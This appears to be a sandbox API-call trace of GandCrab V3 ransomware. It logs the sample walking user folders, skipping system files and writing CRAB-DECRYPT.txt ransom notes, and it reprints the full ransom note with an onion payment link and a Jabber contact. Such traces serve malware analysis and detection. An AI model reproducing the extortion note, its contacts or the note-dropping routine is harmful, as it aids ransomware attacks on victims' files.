	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.120] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.120] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.120] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.120] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.120] FindClose (in: hFindFile=0x3248230 | out: hFindFile=0x3248230) returned 1
	[0136.120] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.120] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1
	[0136.120] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1
	[0136.120] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0136.120] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\"
	[0136.120] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.120] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.121] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.122] lstrcmpiW (lpString1="C:\\Users\\Default\\Favorites\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.122] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.122] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.122] lstrcmpiW (lpString1="C:\\Users\\Default\\Favorites\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.122] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.122] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Favorites\\\\CRAB-DECRYPT.txt") returned 44
	[0136.122] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\favorites\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.123] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.123] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.123] CloseHandle (hObject=0x3d4) returned 1
	[0136.123] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.124] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\") returned 27
	[0136.124] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Favorites\\*") returned="C:\\Users\\Default\\Favorites\\*"
	[0136.124] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248430
	[0136.124] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.124] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.124] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.124] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.124] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.124] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.124] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.124] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Favorites\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Favorites\\CRAB-DECRYPT.txt"
	[0136.124] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.125] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Favorites\\CRAB-DECRYPT.txt") returned 43
	[0136.125] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\CRAB-DECRYPT.txt") returned 43
	[0136.125] lstrlenW (lpString=".txt") returned 4
	[0136.125] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.125] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.125] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.125] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\CRAB-DECRYPT.txt") returned 43
	[0136.125] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\CRAB-DECRYPT.txt") returned 43
	[0136.125] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.125] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.125] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.126] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.126] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.126] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.126] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.126] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.126] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.126] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.126] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.126] FindClose (in: hFindFile=0x3248430 | out: hFindFile=0x3248430) returned 1
	[0136.126] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.126] lstrcmpW (lpString1="Links", lpString2=".") returned 1
	[0136.126] lstrcmpW (lpString1="Links", lpString2="..") returned 1
	[0136.126] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0136.126] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\"
	[0136.126] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.127] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.127] lstrcmpiW (lpString1="C:\\Users\\Default\\Links\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.127] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.127] lstrcmpiW (lpString1="C:\\Users\\Default\\Links\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.127] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.128] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Links\\\\CRAB-DECRYPT.txt") returned 40
	[0136.128] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\links\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.129] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.129] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.130] CloseHandle (hObject=0x3d4) returned 1
	[0136.130] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.130] lstrlenW (lpString="C:\\Users\\Default\\Links\\") returned 23
	[0136.130] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Links\\*") returned="C:\\Users\\Default\\Links\\*"
	[0136.130] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3247f70
	[0136.130] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.131] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.131] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.131] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.131] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.131] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.131] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.131] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Links\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Links\\CRAB-DECRYPT.txt"
	[0136.131] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.131] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Links\\CRAB-DECRYPT.txt") returned 39
	[0136.131] lstrlenW (lpString="C:\\Users\\Default\\Links\\CRAB-DECRYPT.txt") returned 39
	[0136.131] lstrlenW (lpString=".txt") returned 4
	[0136.131] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.132] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.132] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.132] lstrlenW (lpString="C:\\Users\\Default\\Links\\CRAB-DECRYPT.txt") returned 39
	[0136.132] lstrlenW (lpString="C:\\Users\\Default\\Links\\CRAB-DECRYPT.txt") returned 39
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.132] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.132] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.133] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.133] FindClose (in: hFindFile=0x3247f70 | out: hFindFile=0x3247f70) returned 1
	[0136.133] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.133] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1
	[0136.133] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1
	[0136.133] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0136.133] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\"
	[0136.133] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.133] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.133] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.134] lstrcmpW (lpString1="Music", lpString2=".") returned 1
	[0136.134] lstrcmpW (lpString1="Music", lpString2="..") returned 1
	[0136.134] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0136.134] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\"
	[0136.134] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.134] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.135] lstrcmpiW (lpString1="C:\\Users\\Default\\Music\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.135] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.135] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.135] lstrcmpiW (lpString1="C:\\Users\\Default\\Music\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.135] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.135] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Music\\\\CRAB-DECRYPT.txt") returned 40
	[0136.135] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\music\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0136.135] GetLastError () returned 0x50
	[0136.135] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.136] lstrlenW (lpString="C:\\Users\\Default\\Music\\") returned 23
	[0136.136] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Music\\*") returned="C:\\Users\\Default\\Music\\*"
	[0136.136] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x32483b0
	[0136.136] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.136] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.136] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.136] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.136] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.136] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.136] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.137] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Music\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Music\\CRAB-DECRYPT.txt"
	[0136.137] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.137] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Music\\CRAB-DECRYPT.txt") returned 39
	[0136.137] lstrlenW (lpString="C:\\Users\\Default\\Music\\CRAB-DECRYPT.txt") returned 39
	[0136.137] lstrlenW (lpString=".txt") returned 4
	[0136.137] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.137] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.137] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.138] lstrlenW (lpString="C:\\Users\\Default\\Music\\CRAB-DECRYPT.txt") returned 39
	[0136.138] lstrlenW (lpString="C:\\Users\\Default\\Music\\CRAB-DECRYPT.txt") returned 39
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.138] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.138] FindNextFileW (in: hFindFile=0x32483b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.138] FindClose (in: hFindFile=0x32483b0 | out: hFindFile=0x32483b0) returned 1
	[0136.138] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.138] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1
	[0136.138] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1
	[0136.138] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0136.139] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\"
	[0136.139] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.139] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.139] lstrcmpiW (lpString1="C:\\Users\\Default\\My Documents\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.139] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.139] lstrcmpiW (lpString1="C:\\Users\\Default\\My Documents\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.140] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
